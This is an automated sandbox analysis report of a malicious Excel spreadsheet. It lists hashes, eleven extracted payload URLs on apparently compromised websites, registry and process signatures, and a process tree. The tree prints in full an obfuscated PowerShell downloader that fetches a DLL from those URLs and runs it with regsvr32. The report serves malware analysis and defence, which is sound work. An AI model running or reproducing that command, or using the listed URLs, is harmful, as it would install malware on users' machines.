Analysis
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max time kernel
133s -
max time network
140s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
20/11/2024, 11:14
Behavioral task
behavioral1
Sample
76f3a3740caecde18f29723f1c3de2a0c4686cd8ebe334eb7b5fcf69ef983ba8.xls
Resource
win7-20241023-en
General
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Target
76f3a3740caecde18f29723f1c3de2a0c4686cd8ebe334eb7b5fcf69ef983ba8.xls
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Size
88KB
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MD5
09540abe4eefcc4df4f28660dd88bbf7
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SHA1
995aa23533b328bdfa565a02aca3904320a2c445
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SHA256
76f3a3740caecde18f29723f1c3de2a0c4686cd8ebe334eb7b5fcf69ef983ba8
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SHA512
6fb06b9ede41a9efc3e9b4657dcca1c9e4563b01759cb896c2d0716f6f3516c49d26e451adec14cd33dc4bfb1ebf66cbf0ffe055cffc38f9349622074b542b0c
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SSDEEP
1536:lyehv7q2Pjx45uoDGTj+5xtekEvi8/dg38EsAeE9jbDXQU1kWvgrPE4nWHPNc2Ap:lyehv7q2Pjx45uoDGTj+5xtekEvi8/dN
Malware Config
Extracted
http://wearsweetbomb.com/wp-content/15zZybP1EXttxDK4JH/
https://1566xueshe.com/wp-includes/z92ZVqHH8/
http://mymicrogreen.mightcode.com/Fox-C/NWssAbNOJDxhs/
http://o2omart.co.in/infructuose/m4mgt2MeU/
http://mtc.joburg.org.za/-/GBGJeFxXWlNbABv2/
http://www.ama.cu/jpr/VVP/
http://actividades.laforetlanguages.com/wp-admin/dU8Ds/
https://dwwmaster.com/wp-content/1sR2HfFxQnkWuu/
https://edu-media.cn/wp-admin/0JAE/
https://iacademygroup.cl/office/G42LJPLkl/
https://znzhou.top/mode/0Qb/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3988 1968 wscript.exe 81 -
Blocklisted process makes network request 7 IoCs
flow pid Process 25 2148 powershell.exe 35 2148 powershell.exe 39 2148 powershell.exe 57 2148 powershell.exe 59 2148 powershell.exe 67 2148 powershell.exe 73 2148 powershell.exe -
pid Process 2148 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation wscript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regsvr32.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1968 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2148 powershell.exe 2148 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2148 powershell.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 1968 EXCEL.EXE 1968 EXCEL.EXE 1968 EXCEL.EXE 1968 EXCEL.EXE 1968 EXCEL.EXE 1968 EXCEL.EXE 1968 EXCEL.EXE 1968 EXCEL.EXE 1968 EXCEL.EXE 1968 EXCEL.EXE 1968 EXCEL.EXE 1968 EXCEL.EXE -
Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 1968 wrote to memory of 3988 1968 EXCEL.EXE 85 PID 1968 wrote to memory of 3988 1968 EXCEL.EXE 85 PID 3988 wrote to memory of 2148 3988 wscript.exe 87 PID 3988 wrote to memory of 2148 3988 wscript.exe 87 PID 3988 wrote to memory of 4916 3988 wscript.exe 97 PID 3988 wrote to memory of 4916 3988 wscript.exe 97 PID 4916 wrote to memory of 4000 4916 cmd.exe 99 PID 4916 wrote to memory of 4000 4916 cmd.exe 99 PID 4916 wrote to memory of 4000 4916 cmd.exe 99
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\76f3a3740caecde18f29723f1c3de2a0c4686cd8ebe334eb7b5fcf69ef983ba8.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1968 -
C:\Windows\SYSTEM32\wscript.exewscript c:\programdata\bbiwjdf.vbs2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3988 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$ghkid=('$MJXdfshDrfGZses4=\"http:dhjdhjwearsweetbomb.comdhjwp-contentdhj15zZybP1EXttxDK4JHdhjbouhttps:dhjdhj1566xueshe.comdhjwp-includesdhjz92ZVqHH8dhjbouhttp:dhjdhjmymicrogreen.mightcode.comdhjFox-CdhjNWssAbNOJDxhsdhjbouhttp:dhjdhjo2omart.co.indhjinfructuosedhjm4mgt2MeUdhjbouhttp:dhjdhjmtc.joburg.org.zadhj-dhjGBGJeFxXWlNbABv2dhjbouhttp:dhjdhjwww.ama.cudhjjprdhjVVPdhjbouhttp:dhjdhjactividades.laforetlanguages.comdhjwp-admindhjdU8Dsdhjbouhttps:dhjdhjdwwmaster.comdhjwp-contentdhj1sR2HfFxQnkWuudhjbouhttps:dhjdhjedu-media.cndhjwp-admindhj0JAEdhjbouhttps:dhjdhjiacademygroup.cldhjofficedhjG42LJPLkldhjbouhttps:dhjdhjznzhou.topdhjmodedhj0Qbdhj\" -sPLIt \"bou\"; foReACh($yIdsRhye34syufgxjcdf iN $MJXdfshDrfGZses4){$GweYH57sedswd=(\"ciuwd:iuwd\priuwdogiuwdramiuwddatiuwda\oiphilfj.diuwdliuwdl\").rePlACe(\"iuwd\",\"\");inVOke-weBrEqUesT -uRI $yIdsRhye34syufgxjcdf -oUtFIle $GweYH57sedswd;iF(teSt-pATh $GweYH57sedswd){if((gEt-itEm $GweYH57sedswd).leNGth -ge 47523){bReak;}}}').replace(\"dhj\",\"/\");iex $ghkid"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2148
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\regsvr32.exe /s c:\programdata\oiphilfj.dll3⤵
- Suspicious use of WriteProcessMemory
PID:4916 -
\??\c:\windows\syswow64\regsvr32.exec:\windows\syswow64\regsvr32.exe /s c:\programdata\oiphilfj.dll4⤵
- System Location Discovery: System Language Discovery
PID:4000
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize1KB
MD5b200b5dc1163b76b16bb84d62008f4fb
SHA158c5f913d2e873fa82c4a375853f5c8df3554101
SHA2563fc622ad6551edcaa2f0cb85976c87d61124a0a9e9380898cf5d99e358ad58f4
SHA512a3a81da331503c2c5c3e59802db4e6e5bfb94e9e8ac9ed4c78185215c5a8293764e70e3e099f5ddf3fc61c9a08bb74033752ab9c212511468f5a0d8a2602db0b
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Filesize
1KB
MD57baad56cc483132b8b9cb7a14722c3b1
SHA1602f7933c443765697bb178ca137f17f81856f0d
SHA25631cb0d7a224f16ec4e998140c4efde8ef752295b8a88080915f0bb2b49034bee
SHA512b1429608e2068dbe868254f9c3130e8ef75932169c417d0928679c3476614df588a72722e34891a2fe80db41e5e8ee054761af2f2fc3b9c6f0e956de8c9a993f